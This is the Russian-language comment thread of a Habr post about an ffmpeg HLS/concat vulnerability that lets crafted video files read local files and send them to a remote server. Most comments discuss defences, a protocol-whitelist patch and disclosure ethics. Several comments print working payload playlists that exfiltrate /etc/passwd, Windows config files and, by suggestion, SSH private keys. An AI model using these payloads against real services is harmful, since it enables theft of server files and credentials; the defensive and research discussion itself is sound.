Как стать автором
Обновить

Комментарии 66

Очень интересные трюки. Респект.
А как лучше всего защищаться от подобного? Как защитились крупные компании?
НЛО прилетело и опубликовало эту надпись здесь
Из текста следует, что проще всего отправлять плейлисты m4u на фильтрацию в /dev/null. Ясно же, что от пользователя ожидается нормальный видеофайл, а не ссылка на него. Если это не выход по каким-то причинам, то придется ограничивать поддержку обращений к внешним файлам / URL'ам в перекодировщике хотя бы путем выпиливания из кода или хитрым конфигом (навскидку в ffmpeg(1) не нашел ничего похожего)
Конвертация в контейнерах (с ограничением сети) тоже подойдет я думаю.
Вот что я могу посоветовать:
— запускать ffmpeg в изолированном окружении — всегда хорошо и может помочь и при нахождении уязвимостей в самом ffmpeg
— ffmpeg внутри этого окружения из под отдельного пользователя с доступом на запись/чтение только туда, куда нужно.
— отключить (--disable-network в configure) или ограничить (в iptables можно делать правила по uid'у пользователя) доступ к сети ffmpeg'у, если полное отключение невозможно

в случае описанной аттаки даже любое одно из этих простых правил усложнило бы эксплуатацию уязвимости, а вместе они бы позволили защититься от нее.

Небольшое обсуждение по теме было в комментариях к другому посту, там я объяснял, почему мне не нравится идея с построением белого/черного списка форматов/кодеков.

Сделайте препроцессинг. Можно натравить команду file на пользовательский файл и посмотреть ответ, можно выделить расширение и по нему просто форсировать формат:
ext=`echo "$in" | awk -F. '{print $NF}'`
case "$ext" in
  mp4)
    format=mp4
    ;;
  *)
    echo "unknown format" >&2 
    exit 1
    ;;
esac

ffmpeg -f "$format" "$in" ....
указание формата имеет больший вес, чем автодетект по содержимому.

Ну да, всякие chroot и прочие песочницы, перечисленные выше тоже мастхев. Ровно как и сборка FFmpeg под себя.

Пользовательский файл — ничем не отличается от любого другого пользовательского ввода. Всегда нужно защищаться и предохраняться. Действовать по приципу: запрещено всё, что не разрешено.
Кстати, можно запретить concat протокол при сборке:
-disable-protocol=concat

Кому нужно, склеить можно и через фильтры.
AppArmor?
Очень круто исследование!

На относительно новых ffmpeg 2.8.1 и 2.5.1 повторить не удалось, видимо, механизм concat переработан.
Вот вывод netcat (для 2.8.1):
GET ? HTTP/1.1
User-Agent: Lavf/56.40.101
Accept: ​*/*​
Connection: close
Host: 127.0.0.1:5002
Icy-MetaData: 1



Обратите внимание на пустой query string и версию libavformat 56.40.101 (автор использует 54.20.4). Насколько я понимаю, это ffmpeg версии 1.2.x?
Я сталкивался с таким, это из-за того, что в header.m3u8 в самом конце после «example.org?» есть \r и/или \n который вставил редактор, нужно их обязательно удалить, чтобы последний байт был "?".
Проверить можно через $ hexdump -C header.m3u8 — это 0x0a / 0x0d

В ffmpeg 2.8.x пару месяцев назад все воспроизводилось.
Действительно, без \n баг повторяется на последней версии ffmpeg.
Но я бы не навзывал это багом ffmpeg, ведь concat работает точно так, как и описанно в его документации :)
Да, пожалуй, concat работает верно — неверно работает HLS demuxer (URL, начинающийся с concat, явно не соотвествует спекам HLS)

Как один из вариантов решения проблемы — отказаться от использования hls demuxer при сборке:
--disable-demuxer='hls,applehttp'

Если нет возможность отключить сетевое взаимодействие.
К слову сказать, я не совсем понял, где такое поведение описано в документации: www.ffmpeg.org/ffmpeg-protocols.html#concat?
Read and seek from many resources in sequence as if they were a unique resource.

я это понимаю как
concat:first://arg1|second://arg2 => ./result `./first arg1``./second arg2`
Но тогда, из ихнего же примера, получится так:
ffplay concat:split1.mpeg\|split2.mpeg\|split3.mpeg => ffplay split1.mpegsplit2.mpegsplit3.mpeg
Что-то тут не то. Косвенно это подтверждает документация на фильтр concat: www.ffmpeg.org/ffmpeg-filters.html#concat а так же код демуксера:
static int concat_read_packet(AVFormatContext *avf, AVPacket *pkt)
{
    ....
    while (1) {
        ret = av_read_frame(cat->avf, pkt);
        if (ret == AVERROR_EOF || packet_after_outpoint(cat, pkt)) {
            ....
            if ((ret = open_next_file(avf)) < 0)    // <========= открываем следующий файл, а не собираем воедино
                return ret;
            continue;
        }
        ...
    }
    if ((ret = filter_packet(avf, cs, pkt)))
        return ret;

    ...
    return ret;
}

В протокольной реализации — аналогично: последовательно идём по списке URL.

Ох, извиняюсь! Вы правы, он как бы их склеивает. Читаются они последовательно. Более детально код посмотрел. Но всё равно, больше одной стороки из второго файла прочитать не получится, точнее прочитается, но запросом на другой сервер отправить получится только одну: дальше будет читаться второй файл, а в нём уже нужных URL и нет. Сохранение же в выходной файл продолжает работать, но эта проблема лечится фильтрацией по входу и форсированным указанием формата, плюс отключением concat протокола (его полезность вообще сомнительна, кроме как для header-less входных данных).
В плейлисте может быть плейлист, и если в ответ на полученную первую строчку прислать в ответ еще один плейлист, где будет запрос с нужным offset'ом (subfile) второй строчки, а дальше повторять так, пока не прочитаем весь файл построчно, то все должно получиться.
Собрал header.m3u8:
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:, http://localhost/remote.m3u8?

и remote.m3u8:
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:, http://localhost/remote.m3u8?

Всё зависло: pastebin.com/bt4MySQy а вот опции offset у file: нет. Есть только truncate и blocksize.
offset есть у subfile
habrahabr.ru/company/mailru/blog/274855/#comment_8737209, проверил с subfile (кстати спасибо за наводку, не за всем следить получается) — либо я что-то делаю не так.
Друго фариант

test.mkv — инъекция
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http://localhost/header.m3u8|file:///etc/passwd #EXT-X-ENDLIST

header.m3u8:
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:, http://localhost/remote.m3u8?

и remote.m3u8
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http://localhost/header.m3u8|file:///etc/passwd #EXT-X-ENDLIST

Запросы идут такого плана: pastebin.com/tTq7K6K3

т.е. в ответ на remote.m3u8 и приходит playlist, но обрабатывается уже как-то по другому.
Попробовал ещё по другому, модифицировал test.mkv так:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://localhost/header.m3u8|subfile,,start,0,end,64,,:///etc/passwd
concat:http://localhost/header.m3u8|subfile,,start,64,end,128,,:///etc/passwd
concat:http://localhost/header.m3u8|subfile,,start,128,end,256,,:///etc/passwd
concat:http://localhost/header.m3u8|subfile,,start,256,end,512,,:///etc/passwd
#EXT-X-ENDLIST

тоже безуспешно.
Получилось вот так: www.linux.org.ru/news/security/12265930?cid=12269879

Для полноты картины, небольшой смарт-тест на предмет опасности тамбнейлов: www.linux.org.ru/news/security/12265930?cid=12269783

А вообще, не хорошо публиковать подобные проблемы до фикса. Не этично как-то.
А как вы собираетесь донести эту проблему до всех пользователей и держателей сервиса по всему миру??
Вот именно что об этом надо кричать на весь мир, а не публиковать в секретных материалах.
(в сердцах: да что же это такое...)

Объясняю: находишь проблему, сразу пишешь не на форум/хабр/ещё куда, а в список рассылки проблемного продукта. Именно так, не иначе.

Дальнейшие действия могут иметь вариативный характер:
  1. Чуть подождать (допустим — сутки), но получить подтверждение проблемы в рассылке и совет как обезопасить. В данном случая: выключить concat и/или hls или форсировать формат (что валидно для случая сервисов). Это могут сделать как маинтейнеры пакетов, так и конечный пользователь и это уже позволит избежать проблем.
  2. Опубликовать в открытом доступе, если реакции нет никакой.

И вот тут только доносите проблему до пользователей по всему миру любым желаемым способом. Причём, скорее всего, с советом — что можно сделать. А не рекомендацией закрыть свой сервис или не скачивать видео из интернета вообще.

Заметьте, в таком сценарии от момента обнаружения проблемы, до момента публикации миру проходит не более суток. В случае описанной проблемы:
  1. Прошло почти 2 месяца (как сказал автор, уязвимость упоминалась на habrahabr.ru/company/mailru/blog/270077, который проходил 22 октября 2015 года).
  2. Разработчики были одними из последних, кому сообщили о проблеме (после вопросов в комментариях).
Вы считаете такой подход правильным? Я — нет.
Версию 54.20.4 ещё libav отдаёт. В LTS 14.04 убунты это Libav 9.18. Чисто к сведению.
Попробуйте во Flash Player это запустить :D
а просто отключить обработку плей-листов?
А как их просто отключить?
форсировать формат:
ffmpeg -f matroska -i in.mkv…
Супер-клево! Я только не понял, почему вы должны были умереть через 7 дней.
Похоже, помимо самого ffmpeg страдают и все производные либы\плееры: я на smplayer локально воспроизвел.
Теперь как-то стремно запускать любые виды файлов на любых девайсах…
Фаервол и песочницы наше все
Кстати, автору хоть и респект, но вот я предвкушаю сейчас волну видео на торрентах и прочих файлопомойках с «изюминкой». В самом страшном сне — внедрение фрэйма в видео непосредственно при закачке с сервера.
И вот защиты кроме песочницы до фикса со стороны маинтейнеров ffmpeg и всех производных я пока не придумал.
А потом еще всех обновится заставить нужно… А еще же есть куча юзеров, не подпадающих под описание «сознательный юниксоид». А еще разные недоприложения на разные платформы…
O, SHI~
Да. Например, если попытаться определить формат файла утилитой ffprobe, то сработает эта же уязвимость.
Самое страшное, что срабатывает даже фоновая индексация, к примеру, kde baloo.
Мне кажется, стоило бы на этом особо акцентировать внимание, заодно написать, засланы ли баги непосредственно маинтейнерам софта или пора надевать шапочки из фольги и отключать интернет
До публикации этой статьи я считал, что проблемы в ffmpeg нету и фиксить в нем нечего, но whisk в обсуждении поста написал
Да, пожалуй, concat работает верно — неверно работает HLS demuxer (URL, начинающийся с concat, явно не соотвествует спекам HLS)

и я с ним согласен
Постараюсь на выходных (а может и раньше) сделать патч / хотя бы отписать разработчикам ffmpeg с указанием хорошего, по моему мнению, решения для фикса.
Но от SSRF это не спасет, в том числе и от «юзерского» — дернуть что-то на 127.0.0.1:1234/… или в локальной сети.
Я вчера открыл баг в ubuntu, но он пока закрыт для публики, так как security issue.
Вам в любом случае спасибо, но лучше все же о таких вещай сначала писать непосредственно разрабам, а потом уже широкой общественности =)
UPD: патч/репорт в ffmpeg/libav отправлены
Можно ссылку на репорт? Или в мыл-лист кинуто?
На security@, поэтому ссылки нет
А патч можно? Что бы, к примеру, у себя в PPA добавить в сборку, пока в официальных версиях нет.
Я предложил такой вариант, но его желательно проверить тому, кто нормально знаком с кодом ffmpeg.
diff --git a/libavformat/hls.c b/libavformat/hls.c
index cd64501..8893f24 100644
--- a/libavformat/hls.c
+++ b/libavformat/hls.c
@@ -610,6 +610,10 @@ static int open_url(HLSContext *c, URLContext **uc, const char *url, AVDictionar
 {
     AVDictionary *tmp = NULL;
     int ret;
+	const char *proto_name = avio_find_protocol_name(url);
+	// only http(s) & file are allowed
+	if (!av_strstart(proto_name, "http", NULL) && !av_strstart(proto_name, "file", NULL))
+		return AVERROR_INVALIDDATA;
 
     av_dict_copy(&tmp, c->avio_opts, 0);
     av_dict_copy(&tmp, opts, 0);
В Ubuntu, похоже, послали, мол не наша проблема:
Since the package referred to in this bug is in universe or multiverse, it is community maintained. If you are able, I suggest coordinating with upstream and posting a debdiff for this issue. When a debdiff is available, members of the security team will review it and publish the package.

Ждем патча от ffmpeg team
А почему белый список протоколов? Спека же не запрещает использовать другие, если я правильно понял. Например, бывает удобно играть медиа-файлы через FTP.
Ну, как быстрый — вполне себе. Редко когда HLS используется в связке с FTP или другими протоколами. С другой стороны, согласен, что стоило бы исключить только «внутренние» протоколы, которые может понять только FFmpeg. Но, что бы не говнякать, нужно как-то научиться отличать внутренние от не внутренних. Возможно, какой-то флаг добавится к AVFMT_xxx
А чем локально оно может навредить?
Украсть ~/.ssh/id_rsa например
Не могу заставить работать конкат на windows, Invalid data found when processing input хоть ты убейся.

mp4 выглядит так:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://mysite.local/header.y4m|file://d:/Web.config
#EXT-X-ENDLIST
Пардон, заработало вот так
|Web.config

, правда не весь файл а только часть. Но все равно очень круто
Первая строчка?
Для всего файла нужно поступить чуть хитрее, полного описания этого способа я в статье не выложил, но сам проверял — все работает. Если интересно — смотреть нужно на протокол subfile
нет, не первая, там прилично строчек. Думаю там столько, сколько влезло в картинку 30х30
А, я думал речь про concat с урлом.
В любом случае, картинка — это красиво, но subfile — это полный файл без искажений
Да мне просто поиграться ) в общем, картинка работает пока файл больше, чем её размер. Если слишком большой размер картинки сделать, то ффмпег ничего не говорит
Обычно в схеме file косых черточек идет три — file:///, а не две.
Кстати, только сейчас в голову пришло: я не вижу ссылки на баг-репорт. Он есть? Или патч с исправлением проблемы отослан разработчикам FFmpeg?
FFmpeg «фиксить не надо», это не решение проблемы, т.к. таких хитропопостей может быть еще вагон.
Нужно что-то вроде: habrahabr.ru/post/113143
(извините, что ссылаюсь на свой бред =) )
На Ubuntu 15.10 уже вышел фикс.
Зарегистрируйтесь на Хабре, чтобы оставить комментарий